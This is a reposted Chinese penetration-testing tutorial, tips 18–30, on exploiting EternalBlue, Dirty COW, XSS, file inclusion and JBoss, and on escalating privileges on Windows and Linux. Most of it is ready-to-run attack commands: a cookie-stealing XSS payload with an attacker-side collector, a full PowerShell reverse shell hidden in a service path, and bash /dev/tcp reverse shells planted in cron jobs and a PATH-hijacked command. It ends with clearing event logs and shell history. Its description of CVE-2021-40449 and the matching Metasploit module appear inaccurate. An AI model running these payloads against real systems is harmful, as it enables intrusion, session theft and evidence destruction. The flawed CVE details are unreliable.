30个渗透实战技巧从弱口令爆破到权限提升全攻略!

admin 2026-06-03 04:13:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统介绍了30个渗透测试实战技巧,涵盖弱口令爆破、信息收集与漏洞利用三大模块。重点展示了Hydra爆破SSH/RDP/MySQL、BurpSuite爆破Web后台的具体参数配置,提供了子域名枚举、端口扫描、指纹识别等资产发现方法,并详细解析了SQL注入、文件上传、命令注入等漏洞的利用手法与WAF绕过技巧。所有技巧均强调在企业合法授权范围内使用,注重规避防护机制与法律风险。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,WEB安全,漏洞分析


技巧 18:Windows MS17-010 漏洞利用 —— 永恒之蓝

  • • 漏洞影响:Windows XP/7/Server 2003/2008,可远程执行命令,获取系统权限。
  • • 工具选择:Metasploit(MSF)、永恒之蓝漏洞利用工具( EternalBlue-Exploit)。
  • • MSF 实战步骤
  1. 1. 启动 MSF:msfconsole
  2. 2. 加载模块:use exploit/windows/smb/ms17_010_eternalblue
  3. 3. 配置参数:set RHOSTS [目标IP]set LHOST [攻击机IP]
  4. 4. 执行攻击:run,若成功,获取 SYSTEM 权限的 Meterpreter 会话。
  • • 风险提示:该漏洞利用会导致目标系统蓝屏重启,需提前告知目标方,避免业务中断。

技巧 19:Linux Dirty COW 漏洞利用 —— 内核提权(补充)

  • • 漏洞影响:Linux 内核 2.6.22-3.9,可通过修改 SUID 文件实现提权(CVE-2016-5195)。
  • • 实战步骤
  1. 1. 检测漏洞:执行uname -r查看内核版本,若在受影响范围,继续;
  2. 2. 下载利用脚本:wget ``https://github.com/FireFart/dirtycow/raw/master/dirty.c
  3. 3. 编译执行:gcc -pthread dirty.c -o dirty -lcrypt./dirty,输入新密码(如 “123456”);
  4. 4. 切换 root 用户:su firefart,输入新密码,成功获取 root 权限。
  • • 注意点:该漏洞已在大多数 Linux 发行版中修复,仅适用于未更新内核的老旧系统。

技巧 20:XSS 漏洞利用 —— 获取 Cookie 与会话劫持

  • • 漏洞类型:存储型 XSS(漏洞代码存储在数据库,如评论区)、反射型 XSS(漏洞代码仅在当前请求中生效,如搜索框)。
  • • 存储型 XSS 实战
  1. 1. 在评论区输入 `.location.href=’http://[攻击机 IP]/xss.php?cookie=’+document.cookie
  2. 2. 在攻击机创建 xss.php,内容为$cookie = $_GET['cookie']; file_put_contents('cookie.txt', $cookie."\n", FILE_APPEND);?>
  3. 3. 当管理员访问评论区时,其 Cookie 会被发送到攻击机的 cookie.txt,用该 Cookie 替换本地 Cookie,即可劫持管理员会话。
  • • 防御绕过:若目标过滤,尝试用=x onerror=alert(document.cookie)> onload=alert (1)>` 等标签绕过。

技巧 21:文件包含漏洞利用 —— 加载恶意代码

  • • 漏洞判断:Web 参数中包含文件路径(如?file=index.php),尝试修改为?file=../../etc/passwd(Linux)或?file=c:/windows/system32/drivers/etc/hosts(Windows),若能读取系统文件,则存在文件包含漏洞。
  • • 利用方法
  1. 1. 本地文件包含(LFI):读取敏感文件,如?file=../../var/www/html/config.php获取数据库密码;
  2. 2. 远程文件包含(RFI):若allow_url_include=On,加载远程恶意文件,如?file=http://[攻击机IP]/malicious.txt(malicious.txt 内容为php system('whoami');?>)。
  • • 绕过技巧:若目标限制路径,尝试../变形(如..././)、编码(如 URL 编码../%2e%2e%2f)。

技巧 22:中间件 JBoss 漏洞利用 —— 获取 Webshell

  • • JBoss 默认端口:8080,常见漏洞为 “JBoss 4.x JMX Console 未授权访问”。
  • • 实战步骤
  1. 1. 访问http://[目标IP]:8080/jmx-console/,若无需登录即可进入,存在漏洞;
  2. 2. 搜索 “jboss.web.deployment”,点击 “deploy” 方法;
  3. 3. 在 “warUrl” 参数中输入远程 War 包地址(如http://[攻击机IP]/shell.war,shell.war 为恶意 War 包),点击 “Invoke” 部署;
  4. 4. 访问http://[目标IP]:8080/shell/,获取 Webshell。
  • • 补充:JBoss 7.x + 版本默认关闭 JMX Console,需通过其他漏洞(如 CVE-2017-12149)利用。

第四部分:权限提升实战技巧

获取初始权限后(如 Webshell、普通用户权限),需通过权限提升获取系统最高权限(Windows SYSTEM、Linux root),完成渗透测试目标。

技巧 23:Windows 服务权限配置错误提权

  • • 漏洞原理:若普通用户对系统服务的 “binPath”(执行路径)有修改权限,可将路径改为恶意程序,重启服务后执行恶意代码。
  • • 实战步骤
  1. 1. 查看可修改的服务:用sc qc 服务名(如sc qc WuAuServ)查看服务权限,若 “USER” 为当前普通用户,或 “权限” 包含 “WRITE_OWNER”,则可修改;
  2. 2. 修改服务路径:sc config 服务名 binPath= "cmd.exe /c powershell -nop -exec bypass -c \"$client = New-Object ``System.Net``.Sockets.TCPClient('攻击机IP',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}\""注意:binPath=后有空格,命令需用双引号包裹;
  3. 3. 重启服务:sc stop 服务名sc start 服务名,攻击机nc -lvp 8888接收 SYSTEM 权限 shell。

技巧 24:Windows 令牌窃取提权 ——Incognito

  • • 工具选择:Meterpreter 会话中的 Incognito 模块,用于窃取系统令牌(Token)。
  • • 实战步骤
  1. 1. 进入 Meterpreter 会话:meterpreter > use incognito
  2. 2. 列出可用令牌:meterpreter > list_tokens -u,查看是否有 “NT AUTHORITY\SYSTEM” 令牌;
  3. 3. 窃取令牌:meterpreter > impersonate_token "NT AUTHORITY\SYSTEM",若成功,当前用户变为 SYSTEM;
  4. 4. 验证权限:meterpreter > getuid,输出 “Server username: NT AUTHORITY\SYSTEM”。
  • • 注意点:若目标开启 “UAC”(用户账户控制),普通用户无法直接窃取 SYSTEM 令牌,需先绕过 UAC(如利用 CVE-2021-40449)。

技巧 25:Windows UAC 绕过提权 ——CVE-2021-40449

  • • 漏洞影响:Windows 10 1809-21H1、Windows Server 2019,利用 MSHTML 组件漏洞绕过 UAC。
  • • MSF 实战步骤
  1. 1. 加载模块:use exploit/windows/local/cve_2021_40449_microsoft_mshtml_uac_bypass
  2. 2. 配置参数:set SESSION [当前Meterpreter会话ID]set LHOST [攻击机IP]
  3. 3. 执行绕过:run,若成功,获取高权限 Meterpreter 会话,getuid显示 “NT AUTHORITY\SYSTEM”。

技巧 26:Linux SUID 提权 —— 利用高权限命令

  • • SUID 原理:设置 SUID 权限的命令,执行时会以命令所有者(通常为 root)的权限运行,若普通用户可执行该命令,可通过命令参数实现提权。
  • • 实战步骤
  1. 1. 查找 SUID 命令:find / -perm -u=s -type f 2>/dev/null,常见可提权的 SUID 命令有 find、cp、cat、bash;
  2. 2. find 提权:find /tmp -name test -exec /bin/sh -p {} \;,若 find 有 SUID 权限,执行后会生成 root 权限的 shell;
  3. 3. bash 提权:/bin/bash -p,若 bash 有 SUID 权限,执行后直接进入 root shell。
  • • 验证权限:执行id,若输出 “uid=0 (root)”,说明提权成功。

技巧 27:Linux sudo 配置错误提权 ——sudo -l

  • • sudo -l 作用:查看当前用户可通过 sudo 执行的命令,若命令无需输入密码且可执行系统命令,可实现提权。

  • • 常见可提权命令

  • • 若sudo -l显示 “(ALL) NOPASSWD: /usr/bin/find”,则执行sudo find /tmp -name test -exec /bin/sh {} \;

  • • 若显示 “(ALL) NOPASSWD: /usr/bin/cp”,则执行sudo cp /etc/shadow /tmp/shadow(读取 shadow 文件,破解 root 密码);

  • • 若显示 “(ALL) NOPASSWD: /bin/bash”,则直接执行sudo bash,进入 root shell。

技巧 28:Linux 计划任务提权 —— 修改任务脚本

  • • 计划任务路径:/etc/crontab(系统级计划任务)、/var/spool/cron/root(root 用户计划任务)。
  • • 实战步骤
  1. 1. 查看计划任务:cat /etc/crontab,若发现 root 用户定期执行的脚本(如*/5 * * * * root /home/user/``backup.sh);
  2. 2. 检查脚本权限:ls -l /home/user/``backup.sh,若普通用户有写入权限(如 “-rwxrwxrwx”);
  3. 3. 修改脚本:echo "/bin/bash -i >& /dev/tcp/[攻击机IP]/8888 0>&1" >> /home/user/``backup.sh
  4. 4. 等待计划任务执行:攻击机nc -lvp 8888,5 分钟后接收 root 权限 shell。

技巧 29:Linux 环境变量提权 —— 覆盖系统命令

  • • 漏洞原理:若计划任务或 SUID 命令执行的是相对路径(如./``test.sh),而非绝对路径(如/usr/bin/``test.sh),普通用户可通过修改环境变量(PATH),让系统优先执行恶意命令。
  • • 实战步骤
  1. 1. 查看计划任务:cat /etc/crontab,发现 “*/1 * * * * root test.sh”(test.sh 中执行ls命令,且用相对路径);
  2. 2. 创建恶意 ls 命令:echo "/bin/bash -i >& /dev/tcp/[攻击机IP]/8888 0>&1" > /tmp/lschmod +x /tmp/ls
  3. 3. 修改环境变量:export PATH=/tmp:$PATH(让系统优先从 /tmp 目录找 ls 命令);
  4. 4. 等待计划任务执行:攻击机监听 8888 端口,接收 root shell。

技巧 30:权限提升后的数据清理 —— 避免痕迹留存

  • • 核心原则:合法渗透测试完成后,需清理测试痕迹,避免影响目标系统正常运行。

  • • Windows 清理

  • • 删除恶意文件:del C:\shell.wardel C:\tmp\malicious.exe

  • • 清理日志:wevtutil cl Security(清理安全日志)、wevtutil cl System(清理系统日志);

  • • 恢复服务配置:sc config 服务名 binPath= "原路径",重启服务。

  • • Linux 清理

  • • 删除恶意文件:rm /tmp/lsrm /home/user/``backup.sh

  • • 清理命令历史:history -c(清除当前用户历史)、rm ~/.bash_history(删除历史文件);

  • • 恢复计划任务:vi /etc/crontab,删除添加的恶意内容。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:乌雲安全 GhostShell GhostShell《30 个渗透实战技巧 从弱口令爆破到权限提升全攻略!》

评论:0   参与:  0